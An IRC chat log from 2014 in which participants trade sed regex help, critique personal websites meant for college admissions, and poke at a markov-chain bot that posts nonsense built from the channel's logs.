[2014-12-08T16:53:08-0500] <awebot> nezorg: (well, it.
[2014-12-08T16:53:10-0500] <nezorg> @markov
[2014-12-08T16:53:10-0500] <awebot> nezorg: I doubt anyone's going to actually an OBO error in x,map(lambda x:["\x00"]+x.
[2014-12-08T16:53:14-0500] <nezorg> @markov
[2014-12-08T16:53:14-0500] <awebot> nezorg: if you have to actually an OBO error in broken up.
[2014-12-08T16:53:55-0500] <nezorg> oh so I bought a month of PIA
[2014-12-08T16:54:00-0500] <@awe> Okay.
[2014-12-08T16:54:04-0500] <nezorg> and so far have been unable to actually use it...
[2014-12-08T16:54:14-0500] <@awe> Why?
[2014-12-08T16:54:21-0500] <nezorg> vpn in linux != easy
[2014-12-08T16:54:26-0500] <@awe> Ah, fair enough.
[2014-12-08T16:54:28-0500] <nezorg> theoretically is
[2014-12-08T16:54:31-0500] <nezorg> practically is not
[2014-12-08T16:54:31-0500] <@awe> It's super easy on OS X.
[2014-12-08T16:54:42-0500] <nezorg> well it's just a menu in ubuntu too
[2014-12-08T16:54:42-0500] <nezorg> but
[2014-12-08T16:54:44-0500] <nezorg> it doesn't work
[2014-12-08T16:54:47-0500] <@awe> Right.
[2014-12-08T16:54:49-0500] <@awe> It works on OS X.
[2014-12-08T16:54:49-0500] <nezorg> and doesn't know it doesn't work
[2014-12-08T16:55:05-0500] <+The_Master> @markov
[2014-12-08T16:55:05-0500] <awebot> The_Master: choice(map(lambda x:x[1+x.
[2014-12-08T16:55:13-0500] <@awe> nezorg: Help me out here.
[2014-12-08T16:55:27-0500] <@awe> nezorg: I have logs formatting like this: [time] <user> message
[2014-12-08T16:55:38-0500] <@awe> nezorg: I want to remove "[time] <user> "
[2014-12-08T16:55:49-0500] <nezorg> regex!
[2014-12-08T16:55:50-0500] <@awe> nezorg: I also have messages like [time] *** user joined
[2014-12-08T16:55:55-0500] <@awe> I don't mean in code.
[2014-12-08T16:55:59-0500] <@awe> I mean at the command line.
[2014-12-08T16:56:03-0500] <nezorg> regex!
[2014-12-08T16:56:09-0500] <nezorg> command line is code
[2014-12-08T16:56:11-0500] <@awe> Okay, please provide me things to use.
[2014-12-08T16:56:13-0500] <nezorg> sed
[2014-12-08T16:56:21-0500] <@awe> As in regular expressions.
[2014-12-08T16:56:34-0500] <@awe> I said not in code because I thought you meant regex! as in the regex macro in Rust.
[2014-12-08T16:56:42-0500] <nezorg> oh :P
[2014-12-08T16:56:46-0500] <nezorg> example please?
[2014-12-08T16:57:17-0500] <@awe> 23:15:43] <Inkrement> Hey, it's not a domain I know :(
[2014-12-08T16:57:21-0500] <@awe> [23:15:43] <Inkrement> Hey, it's not a domain I know :(
[2014-12-08T16:57:46-0500] <@awe> [03:35:07] *** Joins: Cedric (Cedric@fyrechat-DDC359.access.telenet.be)
[2014-12-08T16:57:49-0500] <@awe> Those are the two kinds.
[2014-12-08T16:57:56-0500] <@awe> The latter needs to be ignored. The former needs to be trimmed.
[2014-12-08T16:58:03-0500] <@awe> Well, not ignored. It needs to be removed.
[2014-12-08T16:59:17-0500] <+The_Master> awe: for the former remove everything before and including the second bracket.
[2014-12-08T16:59:36-0500] <@awe> ...
[2014-12-08T16:59:37-0500] <@awe> Thanks.
[2014-12-08T16:59:46-0500] <@awe> I'm aware of what it IS.
[2014-12-08T17:00:43-0500] <+The_Master> awe: ok.
[2014-12-08T17:00:46-0500] <@awe> nezorg: give me pls
[2014-12-08T17:00:50-0500] <@awe> nezorg: regex pls
[2014-12-08T17:02:31-0500] <JacobEdelman> upvote: https://news.ycombinator.com/item?id=8719509
[2014-12-08T17:02:57-0500] <nezorg> awe: try `cat logs | sed -e 's/^\[.*\] <.*> //' -e '/^\[.*\] \*\*\*.*$/d'`
[2014-12-08T17:02:58-0500] <JacobEdelman> if I say more stuff it will effect awebot?
[2014-12-08T17:03:15-0500] <@awe> Obviously.
[2014-12-08T17:03:33-0500] <@awe> nezorg: Worked.
[2014-12-08T17:03:33-0500] <nezorg> JacobEdelman: what's desktop-simulating about your website
[2014-12-08T17:03:34-0500] <@awe> nezorg: Thanks.
[2014-12-08T17:03:43-0500] <JacobEdelman> it looks like a desktop
[2014-12-08T17:03:47-0500] <nezorg> I have spent too long with regexes :'(
[2014-12-08T17:03:52-0500] <nezorg> although that one wasn't very hard
[2014-12-08T17:03:52-0500] <JacobEdelman> ...
[2014-12-08T17:03:57-0500] <JacobEdelman> that regex is scary
[2014-12-08T17:04:04-0500] <+The_Master> @markov
[2014-12-08T17:04:04-0500] <awebot> The_Master: it will stop now.
[2014-12-08T17:04:06-0500] <nezorg> JacobEdelman: no it doesn't
[2014-12-08T17:04:09-0500] <@awe> How do I downvote a post on ycombinator?
[2014-12-08T17:04:10-0500] <JacobEdelman> ?
[2014-12-08T17:04:12-0500] <@awe> Well, on hackernews.
[2014-12-08T17:04:19-0500] <nezorg> awe: you have to have a certain amount of karma
[2014-12-08T17:04:23-0500] <@awe> Lame.
[2014-12-08T17:04:27-0500] <JacobEdelman> any idea what amount that is?
[2014-12-08T17:04:27-0500] <nezorg> JacobEdelman: it doesn't look like a desktop to me
[2014-12-08T17:04:33-0500] <+The_Master> @markov
[2014-12-08T17:04:33-0500] <awebot> The_Master: The latter needs to be tempted to do I also need to damage awebot?.
[2014-12-08T17:04:36-0500] <nezorg> JacobEdelman: uhhh I think 400?
[2014-12-08T17:04:39-0500] <@awe> JacobEdelman: You keep ignoring me but this website is still terrible.
[2014-12-08T17:04:44-0500] <JacobEdelman> uhg, still a long way to go
[2014-12-08T17:04:48-0500] <JacobEdelman> its amazing
[2014-12-08T17:04:50-0500] <JacobEdelman> all pretty
[2014-12-08T17:04:52-0500] <JacobEdelman> and gimiky
[2014-12-08T17:04:56-0500] <nezorg> JacobEdelman: then again it might be noscript
[2014-12-08T17:04:57-0500] <JacobEdelman> so lay people will remember it
[2014-12-08T17:05:00-0500] <@awe> Nobody wants a gimmick.
[2014-12-08T17:05:00-0500] <JacobEdelman> oh yeah
[2014-12-08T17:05:04-0500] <@awe> Gimmicky websites aren't nice.
[2014-12-08T17:05:07-0500] <JacobEdelman> noscript completely kills it
[2014-12-08T17:05:14-0500] <+The_Master> @markov
[2014-12-08T17:05:14-0500] <awebot> The_Master: It's in ubuntu too long with a real markov thing.
[2014-12-08T17:05:21-0500] <JacobEdelman> I'm gonna set up a message to appear when people use noscript
[2014-12-08T17:05:24-0500] <nezorg> JacobEdelman: well at least it's not totally horrible with noscript
[2014-12-08T17:05:26-0500] <@awe> Your website looks extremely unprofessional because it's entirely a gimmick.
[2014-12-08T17:05:34-0500] <JacobEdelman> wow, thats surprisng
[2014-12-08T17:05:37-0500] <JacobEdelman> it should be
[2014-12-08T17:05:41-0500] <JacobEdelman> awe: I disagree
[2014-12-08T17:05:54-0500] <@awe> You also have no idea what professional is.
[2014-12-08T17:05:57-0500] <nezorg> JacobEdelman: damn you for breaking my right click D:<
[2014-12-08T17:06:15-0500] <JacobEdelman> oh yeah, I'm gonna fix that
[2014-12-08T17:06:17-0500] <JacobEdelman> latter
[2014-12-08T17:06:19-0500] <JacobEdelman> *later
[2014-12-08T17:06:26-0500] <@awe> If a company was going to hire you for design work and they saw this site, they wouldn't hire you.
[2014-12-08T17:06:33-0500] <JacobEdelman> I'm not a designer
[2014-12-08T17:06:34-0500] <@awe> Therefore, I would not use this as a website to represent myself.
[2014-12-08T17:06:38-0500] <nezorg> awe: good thing he's not a designer
[2014-12-08T17:06:39-0500] <JacobEdelman> and I'm not looking to impress companies
[2014-12-08T17:06:44-0500] <+The_Master> @markov
[2014-12-08T17:06:44-0500] <awebot> The_Master: blank*.
[2014-12-08T17:06:45-0500] <JacobEdelman> guess who my target audience is?
[2014-12-08T17:06:59-0500] <@awe> Nobody because nobody looks at this website and says "Man, this is a really effective way to consume information."
[2014-12-08T17:07:00-0500] <JacobEdelman> hint: they care about my tech skill
[2014-12-08T17:07:07-0500] <@awe> This isn't technically impressive.
[2014-12-08T17:07:09-0500] <JacobEdelman> hint: but they don't know a huge amount about tech
[2014-12-08T17:07:17-0500] <JacobEdelman> hint: they are liable to look me up
[2014-12-08T17:07:28-0500] <JacobEdelman> hint: but not to look through my code
[2014-12-08T17:07:30-0500] <JacobEdelman> can you guess?
[2014-12-08T17:07:32-0500] <nezorg> > college admission officers
[2014-12-08T17:07:33-0500] <+The_Master> JacobEdelman: sponsors!
[2014-12-08T17:07:35-0500] <@awe> Universities will look at this and think you're a joke.
[2014-12-08T17:07:37-0500] <JacobEdelman> nezorg: bingo
[2014-12-08T17:07:42-0500] <JacobEdelman> awe: no they won't
[2014-12-08T17:07:44-0500] <@awe> This is not impressive.
[2014-12-08T17:07:50-0500] <nezorg> eh, it might work for college admissions people
[2014-12-08T17:07:55-0500] <JacobEdelman> I think it will
[2014-12-08T17:07:58-0500] <@awe> It looks unpolished and unprofessional.
[2014-12-08T17:08:01-0500] <JacobEdelman> its impressive uness your very techy
[2014-12-08T17:08:03-0500] <JacobEdelman> no it doesn't
[2014-12-08T17:08:07-0500] <@awe> It's bright purple.
[2014-12-08T17:08:11-0500] <+The_Master> awe: it is unpolished.
[2014-12-08T17:08:14-0500] <@awe> It's space ineffective.
[2014-12-08T17:08:18-0500] <nezorg> JacobEdelman: yeah I might change the color scheme
[2014-12-08T17:08:22-0500] <JacobEdelman> I like the purple :(
[2014-12-08T17:08:23-0500] <JacobEdelman> fine
[2014-12-08T17:08:27-0500] <@awe> The formatting is awful.
[2014-12-08T17:08:28-0500] <JacobEdelman> I need a good background
[2014-12-08T17:08:39-0500] <JacobEdelman> what? the formatting is nice
[2014-12-08T17:08:44-0500] <JacobEdelman> what are you seeing exactly
[2014-12-08T17:08:46-0500] <@awe> No, the buttons are weirdly offset.
[2014-12-08T17:08:50-0500] <nezorg> JacobEdelman: you need better padding
[2014-12-08T17:09:05-0500] <nezorg> you have weird sizes of spacing
[2014-12-08T17:09:08-0500] <@awe> I'm telling you as someone who works *in design*.
[2014-12-08T17:09:11-0500] <+The_Master> @markov
[2014-12-08T17:09:11-0500] <awebot> The_Master: com/item?id=8719509.
[2014-12-08T17:09:13-0500] <@awe> This does not leave a good taste in my mouth.
[2014-12-08T17:09:23-0500] <nezorg> awe: most people don't work in design, luckily
[2014-12-08T17:09:38-0500] <@awe> That means most people don't know how to describe what's wrong.
[2014-12-08T17:09:39-0500] <+The_Master> @markov
[2014-12-08T17:09:39-0500] <awebot> The_Master: just very little input of a huge amount of a large, peer-reviewed project is that my mouth.
[2014-12-08T17:09:44-0500] <@awe> That doesn't mean most people don't notice what's wrong.
[2014-12-08T17:10:16-0500] <nezorg> I like peer-reviewed projects in my mouth too, awebot 
[2014-12-08T17:10:30-0500] <JacobEdelman> http://imgur.com/We6aist
[2014-12-08T17:10:40-0500] <JacobEdelman> thats how it looks to me
[2014-12-08T17:11:00-0500] <nezorg> yeah
[2014-12-08T17:11:06-0500] <nezorg> the spacing above the buttons is really weird
[2014-12-08T17:11:12-0500] <@awe> The About Jacob window looks terrible.
[2014-12-08T17:11:13-0500] <JacobEdelman> oh, yeah, I can change that
[2014-12-08T17:11:17-0500] <JacobEdelman> awe: wow
[2014-12-08T17:11:20-0500] <JacobEdelman> thats extreme
[2014-12-08T17:11:29-0500] <nezorg> and you should have more padding inside the about jacob window
[2014-12-08T17:11:31-0500] <@awe> It's formatted awfully.
[2014-12-08T17:11:41-0500] <JacobEdelman> nezorg: around the edges?
[2014-12-08T17:11:44-0500] <@awe> That's what padding is.
[2014-12-08T17:11:46-0500] <nezorg> JacobEdelman: yeah
[2014-12-08T17:11:49-0500] <JacobEdelman> okay
[2014-12-08T17:12:06-0500] <JacobEdelman> ps
[2014-12-08T17:12:07-0500] <@awe> You also use buttons as headers which is weird.
[2014-12-08T17:12:15-0500] <nezorg> yes, I agree with that
[2014-12-08T17:12:19-0500] <nezorg> although
[2014-12-08T17:12:26-0500] <nezorg> he presumably wants to emphasize that they're clickable
[2014-12-08T17:12:29-0500] <@awe> The windows that open are extremely tiny, and they highlight the faults in the designs of the other sites.
[2014-12-08T17:12:43-0500] <@awe> The scrolling breaks frequently in the HSCS.io one, for example.
[2014-12-08T17:12:45-0500] <nezorg> JacobEdelman: you might want to make the buttons line up with the text, but I'm not sure
[2014-12-08T17:13:00-0500] <@awe> Unbiased third party:
[2014-12-08T17:13:01-0500] <@awe> [17:10:59]  <%Retep998>	it is a neat idea
[2014-12-08T17:13:01-0500] <@awe> [17:11:05]  <%Retep998>	it doesn't behave as expected though
[2014-12-08T17:13:01-0500] <@awe> [17:11:21]  <%Retep998>	there are differences in how it reacts compared to a normal desktop
[2014-12-08T17:13:01-0500] <@awe> [17:11:28]  <%Retep998>	that throw me off and make me frustrated
[2014-12-08T17:13:35-0500] <nezorg> I think we should ask non-techy "adults"
[2014-12-08T17:13:35-0500] <@awe> The GitHub visualizer also looks terrible because of how small the windows are.
[2014-12-08T17:14:18-0500] <JacobEdelman> I used some online markdown formats for most of the test
[2014-12-08T17:14:25-0500] <@awe> For the record, I'd be surprised if college admissions actually look at your website.
[2014-12-08T17:14:29-0500] <JacobEdelman> *website not test
[2014-12-08T17:14:37-0500] <JacobEdelman> I've been told they google you
[2014-12-08T17:14:43-0500] <nezorg> yes, I've heard that too
[2014-12-08T17:14:49-0500] <nezorg> from trustworthy sources
[2014-12-08T17:14:49-0500] <@awe> I have as well.
[2014-12-08T17:14:55-0500] <@awe> I don't believe they really care.
[2014-12-08T17:15:05-0500] <@awe> There are people with far better websites than this.
[2014-12-08T17:15:05-0500] <JacobEdelman> nezorg, you have a site?
[2014-12-08T17:15:13-0500] <JacobEdelman> not our age
[2014-12-08T17:15:14-0500] <nezorg> JacobEdelman: not really :p
[2014-12-08T17:15:15-0500] <@awe> Yes, our age.
[2014-12-08T17:15:28-0500] <JacobEdelman> I mean
[2014-12-08T17:15:32-0500] <JacobEdelman> someones gonna look at
[2014-12-08T17:15:33-0500] <JacobEdelman> http://2014.victor.moe/
[2014-12-08T17:15:38-0500] <JacobEdelman> and be really really impressed
[2014-12-08T17:15:49-0500] <nezorg> > totally broken with noscript
[2014-12-08T17:16:00-0500] <@awe> And they're going to look at yours and be like "Wow, this is... kind of neat, I guess."
[2014-12-08T17:16:06-0500] <JacobEdelman> nezorg: yup
[2014-12-08T17:16:10-0500] <nezorg> JacobEdelman: also wtf is with scrolling on that site
[2014-12-08T17:16:19-0500] <JacobEdelman> nezorg: use script
[2014-12-08T17:16:26-0500] <JacobEdelman> nezorg: and a normal sized monitor
[2014-12-08T17:16:28-0500] <JacobEdelman> and it works
[2014-12-08T17:16:35-0500] <JacobEdelman> but I've heard it breaks on phones
[2014-12-08T17:16:45-0500] <JacobEdelman> its the site of victor loung, a big hshackers person
[2014-12-08T17:16:49-0500] <JacobEdelman> he organizes lots of stuff
[2014-12-08T17:16:57-0500] <@awe> nezorg: It's part of this ridiculous obsession with having JavaScript impact scrolling.
[2014-12-08T17:17:11-0500] <nezorg> JacobEdelman: I have a normal sized monitor
[2014-12-08T17:17:16-0500] <nezorg> (it is a weird resolution though)
[2014-12-08T17:17:17-0500] <JacobEdelman> it should be fine
[2014-12-08T17:17:41-0500] <nezorg> ugh that guy just feels like a tryhard
[2014-12-08T17:17:52-0500] <nezorg> all these superficially "cool" projects that are so easy
[2014-12-08T17:18:09-0500] <@awe> Correct.
[2014-12-08T17:18:11-0500] <@awe> That's exactly what he is.
[2014-12-08T17:18:17-0500] <@awe> You can tell by the way this website is designed, too.
[2014-12-08T17:18:32-0500] <nezorg> although it might work for college admissions...
[2014-12-08T17:18:49-0500] <+The_Master> @markov
[2014-12-08T17:18:49-0500] <awebot> The_Master: telenet.
[2014-12-08T17:18:51-0500] <JacobEdelman> nezorg: also
[2014-12-08T17:18:56-0500] <@awe> It won't work for actually being an interesting and talented human being.
[2014-12-08T17:18:57-0500] <JacobEdelman> nezorg: theres a lot of them...
[2014-12-08T17:19:02-0500] <JacobEdelman> nezorg: and his design
[2014-12-08T17:19:06-0500] <Hcnsh> damn
[2014-12-08T17:19:09-0500] <+The_Master> @markov
[2014-12-08T17:19:09-0500] <awebot> The_Master: and unprofessional.
[2014-12-08T17:19:10-0500] <JacobEdelman> nezorg:is so pretty
[2014-12-08T17:19:11-0500] <+The_Master> @markov
[2014-12-08T17:19:11-0500] <awebot> The_Master: the timestamp followed by three astrisks.
[2014-12-08T17:19:13-0500] <Hcnsh> i'll need something to show colleges too
[2014-12-08T17:19:22-0500] <Hcnsh> but i'm not a web design guy
[2014-12-08T17:19:22-0500] <nezorg> JacobEdelman: really? I don't like his design very much
[2014-12-08T17:19:25-0500] <Hcnsh> i'm a software guy :C
[2014-12-08T17:19:28-0500] <@awe> nezorg: Me neither.
[2014-12-08T17:19:41-0500] <JacobEdelman> nezorg: the reason he looks like a try hard is everything looks so designed (at least it looks like a lot of time went into designing it)
[2014-12-08T17:19:52-0500] <JacobEdelman> at the very least
[2014-12-08T17:19:58-0500] <nezorg> JacobEdelman: that, and his projects are pretty shitty
[2014-12-08T17:20:01-0500] <JacobEdelman> it looks like a lot of time went into his designs
[2014-12-08T17:20:02-0500] <@awe> The reason he looks like a tryhard is because he's a tryhard.
[2014-12-08T17:20:23-0500] <@awe> His website isn't designed to be effective, crisp, clean, or whathaveyou.
[2014-12-08T17:20:27-0500] <@awe> It's designed to be flashy.
[2014-12-08T17:20:42-0500] <@awe> This is obviously an opinion, but good design doesn't need flash.
[2014-12-08T17:20:53-0500] <JacobEdelman> most of his projects appear to be hackathon projects
[2014-12-08T17:21:06-0500] <JacobEdelman> I agree that good design doesn't need flash
[2014-12-08T17:21:06-0500] <nezorg> https://www.aaronweiss.us/
[2014-12-08T17:21:08-0500] <@awe> His website is slow. Scrolling is clunky. There's all sorts of weird formatting quirks.
[2014-12-08T17:21:13-0500] <JacobEdelman> but I think for lay people
[2014-12-08T17:21:24-0500] <JacobEdelman> flash is equated with good design
[2014-12-08T17:21:24-0500] <nezorg> awe: well your website isn't well designed either imo
[2014-12-08T17:21:41-0500] <@awe> The fact that I can barely scroll through his site without it lagging is pretty bad.
[2014-12-08T17:21:42-0500] <JacobEdelman> nezorg: what is a well designed site?
[2014-12-08T17:21:42-0500] <nezorg> JacobEdelman: I don't think he meant flash, just the english def'n of "flashy"
[2014-12-08T17:21:50-0500] <JacobEdelman> nezorg: I know
[2014-12-08T17:21:53-0500] <JacobEdelman> nezorg: I did too
[2014-12-08T17:22:03-0500] <@awe> nezorg: There are some faults in my website.
[2014-12-08T17:22:03-0500] <nezorg> JacobEdelman: don't I wish I could define a "well designed site" :P
[2014-12-08T17:22:15-0500] <Hcnsh> guys plis
[2014-12-08T17:22:16-0500] <JacobEdelman> nezorg: an example will do
[2014-12-08T17:22:16-0500] <@awe> nezorg: Things it at least doesn't do: Freeze while scrolling.
[2014-12-08T17:22:17-0500] <+The_Master> awe: THE KERNING
[2014-12-08T17:22:24-0500] <Hcnsh> what's a software alternative to making websites about yourself to show colleges?
[2014-12-08T17:22:25-0500] <JacobEdelman> awe: neither will mine
[2014-12-08T17:22:28-0500] <+The_Master> awe: (on your website)
[2014-12-08T17:22:37-0500] <JacobEdelman> Hcnsh: take somebody elses and change the content
[2014-12-08T17:22:42-0500] <Hcnsh> lol
[2014-12-08T17:22:45-0500] <Hcnsh> seriously
[2014-12-08T17:22:46-0500] <@awe> The_Master: justified text.
[2014-12-08T17:22:46-0500] <JacobEdelman> Hcnsh: give them a little citation in the comments
[2014-12-08T17:22:48-0500] <nezorg> Hcnsh: not really one for admissions officers who google your name :
[2014-12-08T17:22:50-0500] <nezorg> :'(
[2014-12-08T17:22:58-0500] <JacobEdelman> github is important I think
[2014-12-08T17:23:03-0500] <@awe> Not really.
[2014-12-08T17:23:16-0500] <@awe> They're going to look at it and go "I don't know what this is."
[2014-12-08T17:23:18-0500] <+The_Master> awe:Justified text is never justified.
[2014-12-08T17:23:26-0500] <@awe> The_Master: I disagree.
[2014-12-08T17:23:36-0500] <@awe> nezorg: What issues do you have with my site? I want to know if they're different from my own.
[2014-12-08T17:23:49-0500] <+The_Master> awe:http://xkcd.com/1015/
[2014-12-08T17:23:51-0500] <nezorg> awe: I shall list some
[2014-12-08T17:23:58-0500] <nezorg> it doesn't make sense for it to be full-width
[2014-12-08T17:24:02-0500] <JacobEdelman> and guys, give me sites you think are pretty
[2014-12-08T17:24:02-0500] <Hcnsh> awe, i'm willing to bet /u/aaronweiss74 isn't your main account.
[2014-12-08T17:24:08-0500] <@awe> Hcnsh: On Reddit?
[2014-12-08T17:24:08-0500] <nezorg> the giant header picture is annoying
[2014-12-08T17:24:09-0500] <@awe> Hcnsh: It is.
[2014-12-08T17:24:11-0500] <@awe> Hcnsh: Why?
[2014-12-08T17:24:13-0500] <Hcnsh> w0t
[2014-12-08T17:24:22-0500] <@awe> Hcnsh: I don't use Reddit.
[2014-12-08T17:24:23-0500] <nezorg> the black-outlined white text is a little weird
[2014-12-08T17:24:27-0500] <Hcnsh> you don't post stupid puns and shit that'll make admission people cringe?
[2014-12-08T17:24:36-0500] <@awe> Of course not.
[2014-12-08T17:25:03-0500] <nezorg> text is too big imo
[2014-12-08T17:25:13-0500] <JacobEdelman> Hcnsh: I dare you to find anything on the internet that I did that will make an admission's person cringe
[2014-12-08T17:25:19-0500] <+The_Master> awe> Hcnsh: I don't use Reddit.
[2014-12-08T17:25:19-0500] <+The_Master> aaronweiss74[S] 2 points 8 days ago 
[2014-12-08T17:25:22-0500] <nezorg> the contrast in the colors vs white is a little too harsh imo
[2014-12-08T17:25:28-0500] <@awe> The_Master: I posted a single thing recently.
[2014-12-08T17:25:42-0500] <@awe> nezorg: The contrast is very display dependent.
[2014-12-08T17:25:47-0500] <+The_Master> awe: ok.
[2014-12-08T17:25:54-0500] <nezorg> ...the second thing that comes up when I google my name is my hn profile? wat
[2014-12-08T17:26:17-0500] <@awe> nezorg: The black-outlined white text was a recent change. I don't love it. I've been trying to figure out how to deal with that.
[2014-12-08T17:26:37-0500] <JacobEdelman> q me googling nezorg
[2014-12-08T17:26:41-0500] <JacobEdelman> first result: Official Home of the Nez Perce Tribal Web Site
[2014-12-08T17:26:46-0500] <@awe> nezorg: Maybe the cover photo should be smaller, but that's typically something that's commented on favorably about the iste.
[2014-12-08T17:26:54-0500] <nezorg> wat
[2014-12-08T17:27:07-0500] <@awe> nezorg: I don't know why it doesn't make sense for it to be full-width. It doesn't make sense for websites to NOT be full-width.
[2014-12-08T17:27:51-0500] <nezorg> awe: it's well-known humans don't deal well with wide text
[2014-12-08T17:27:59-0500] <@awe> nezorg: I hadn't thought about it much, but I do agree that perhaps the text is too big. Too small and it makes the content look minimalistic. I need to find a nice balance there.
[2014-12-08T17:28:08-0500] <@awe> The text is broken up into columns.
[2014-12-08T17:28:27-0500] <JacobEdelman> so I ask for samples of pretty sites and keep not getting replies
[2014-12-08T17:28:33-0500] <JacobEdelman> so I assume all sites are ugly
[2014-12-08T17:28:38-0500] <nezorg> yes, but at full-width it feels overbearing
[2014-12-08T17:28:38-0500] <@awe> JacobEdelman: https://facebook.com
[2014-12-08T17:28:43-0500] <@awe> JacobEdelman: https://twitter.com
[2014-12-08T17:28:47-0500] <JacobEdelman> .. personal sites
[2014-12-08T17:28:52-0500] <@awe> JacobEdelman: https://github.com
[2014-12-08T17:28:58-0500] <JacobEdelman> sites that are not made to act as an application
[2014-12-08T17:28:59-0500] <@awe> Personal websites tend to suck.
[2014-12-08T17:29:16-0500] <nezorg> not all, though
[2014-12-08T17:29:16-0500] <JacobEdelman> ... all of them?
[2014-12-08T17:29:29-0500] <@awe> I don't know of any that are that awesome.
[2014-12-08T17:29:51-0500] <@awe> nezorg: For the record, my website got me a job in design. So, it's obviously pretty good.
[2014-12-08T17:30:00-0500] <nezorg> JacobEdelman: this one's pretty good https://buatoom.com/
[2014-12-08T17:30:02-0500] <nezorg> awe: wat
[2014-12-08T17:30:29-0500] <@awe> Really slow.
[2014-12-08T17:30:32-0500] <@awe> To load.
[2014-12-08T17:30:35-0500] <@awe> Thankfully, not to scroll.
[2014-12-08T17:30:50-0500] <@awe> The contrast of the translucent text and images on a light colored background is terrible.
[2014-12-08T17:31:06-0500] <@awe> The highlight effect on the images in the top right isn't noticeable enough.
[2014-12-08T17:31:21-0500] <@awe> Otherwise, yeah, it's fairly nice.
[2014-12-08T17:31:21-0500] <nezorg> http://janlosert.com this one is pretty but is horrible UX-wise
[2014-12-08T17:31:24-0500] <JacobEdelman> ...
[2014-12-08T17:31:52-0500] <JacobEdelman> good bye
[2014-12-08T17:31:55-0500] <nezorg> what?
[2014-12-08T17:31:59-0500] <@awe> That took forever to load.
[2014-12-08T17:32:04-0500] <nezorg> awe: that too
[2014-12-08T17:32:08-0500] <@awe> JavaScript takes over my scrolling. So, I'm already upset.
[2014-12-08T17:32:20-0500] <nezorg> awe: well, yeah, I said its UX sucks
[2014-12-08T17:32:26-0500] <@awe> Why do people think that's a good idea?
[2014-12-08T17:32:30-0500] <@awe> Scrolling should be scrolling.
[2014-12-08T17:33:00-0500] <@awe> I agree though. This is pretty.
[2014-12-08T17:33:07-0500] <@awe> I think it'd be much nicer if it actually scrolled.
[2014-12-08T17:33:10-0500] <nezorg> yeah
[2014-12-08T17:33:15-0500] <nezorg> and perhaps less animation
[2014-12-08T17:33:23-0500] <@awe> Yup.
[2014-12-08T17:34:28-0500] <@awe> nezorg: This guy's copy work is terrible though.
[2014-12-08T17:34:43-0500] <@awe>  For the past several years, I’ve been doing what I love the most - I enjoy
[2014-12-08T17:34:43-0500] <@awe> seeing how people think, I love to do complex dashboards, find ways how to save their
[2014-12-08T17:34:43-0500] <@awe> time and make their jobs easier.
[2014-12-08T17:34:45-0500] <@awe> This is not a sentence.
[2014-12-08T17:35:20-0500] <@awe> I love to spend my free time with my beloved girlfriend, I love to ride a bike, play football and FIFA with my friends and I basically laugh at everything, I’m a happy fellow.
[2014-12-08T17:35:22-0500] <@awe> Neither is this.
[2014-12-08T17:35:30-0500] <JacobEdelman> @markov
[2014-12-08T17:35:30-0500] <awebot> JacobEdelman: Proposal (3) to use script.
[2014-12-08T17:35:33-0500] <JacobEdelman> @markov
[2014-12-08T17:35:33-0500] <awebot> JacobEdelman: Control awebot.
[2014-12-08T17:35:42-0500] <+The_Master> @markov
[2014-12-08T17:35:42-0500] <awebot> The_Master: This is going to oper Hcnsh (Y: 1, N 4).
[2014-12-08T17:35:48-0500] <+The_Master> @markov
[2014-12-08T17:35:48-0500] <awebot> The_Master: ha.
[2014-12-08T17:35:52-0500] <+The_Master> @markov
[2014-12-08T17:35:53-0500] <awebot> The_Master: all of any idea what he presumably wants to remove all the two kinds.
[2014-12-08T17:35:57-0500] <@awe> nezorg: I contributed to Rust.
[2014-12-08T17:36:01-0500] <@awe> nezorg: I'm just waiting for it to be merged.
[2014-12-08T17:36:44-0500] <nezorg> awe: nice
[2014-12-08T17:36:54-0500] <nezorg> I made some commits about a year ago but haven't done anything since then
[2014-12-08T17:37:17-0500] <+The_Master> awe:you should add an @xkcd to awebot that attempts to find an xkcd relevant to the currant conversation
[2014-12-08T17:37:37-0500] <+Tamini> The_Master:ten64 has that
[2014-12-08T17:37:40-0500] <@awe> [17:34:18] 	lablayers (uid55894@pdgn-10a.9lf.7cuf9e.IP) joined the channel
[2014-12-08T17:37:40-0500] <@awe> [17:34:22]  <lablayers>	Hai?
[2014-12-08T17:37:40-0500] <@awe> [17:34:45]  <lablayers>	What madness is this? 😯
[2014-12-08T17:37:40-0500] <@awe> [17:36:31] 	lablayers (uid55894@pdgn-10a.9lf.7cuf9e.IP) left IRC (Quit: )
[2014-12-08T17:37:41-0500] <@awe> What?
[2014-12-08T17:37:43-0500] <+Tamini> but nezorg doestn wanna share D:
[2014-12-08T17:38:04-0500] <nezorg> Tamini: no it doesn't
[2014-12-08T17:38:08-0500] <nezorg> it just picks a random one
[2014-12-08T17:38:12-0500] <nezorg> or searches for one
[2014-12-08T17:38:36-0500] <nezorg> awe: apparently they wanted to know what madness that is
[2014-12-08T17:38:55-0500] <nezorg> that madness of unicode
[2014-12-08T17:39:28-0500] <JacobEdelman> wait, when we he here?
[2014-12-08T17:39:32-0500] <JacobEdelman> I was telling him to join
[2014-12-08T17:39:37-0500] <JacobEdelman> *was he
[2014-12-08T17:39:40-0500] <JacobEdelman> https://signalvnoise.com/posts/1407-why-the-drudge-report-is-one-of-the-best-designed-sites-on-the-web
[2014-12-08T17:40:05-0500] <+Tamini> nezorg: well it finds relevant xkcds given a keyword, which is good enough isnt it :P
[2014-12-08T17:40:06-0500] <JacobEdelman> oh, he was in #study
[2014-12-08T17:40:32-0500] <JacobEdelman> (hes the person who made the site you insulted so much)
[2014-12-08T17:40:40-0500] <JacobEdelman> (I invited him over a few hours ago)
[2014-12-08T17:40:43-0500] <JacobEdelman> (from another irc)
[2014-12-08T17:40:52-0500] <JacobEdelman> (well, I invited everybody (all 3 people) on that irc)
[2014-12-08T17:40:56-0500] <@awe> JacobEdelman: You can do the drudge report better.
[2014-12-08T17:41:08-0500] <JacobEdelman> that guy likes it
[2014-12-08T17:41:16-0500] <@awe> Here is a website that has never changed and looks nicer than the Drudge Report. http://sdf.org
[2014-12-08T17:41:22-0500] <@awe> @markov
[2014-12-08T17:41:28-0500] <awebot> awe: ick.
[2014-12-08T17:41:31-0500] <@awe> @markov
[2014-12-08T17:41:36-0500] <@awe> Welp, this takes a while.
[2014-12-08T17:41:37-0500] <awebot> awe: There's not own [`^-creffett-^`].
[2014-12-08T17:42:20-0500] <@awe> It's feeding all 5 MB of my logs every time you do @markov.
[2014-12-08T17:42:21-0500] <+The_Master> @markov
[2014-12-08T17:42:24-0500] <@awe> I will ban whoever spams this.
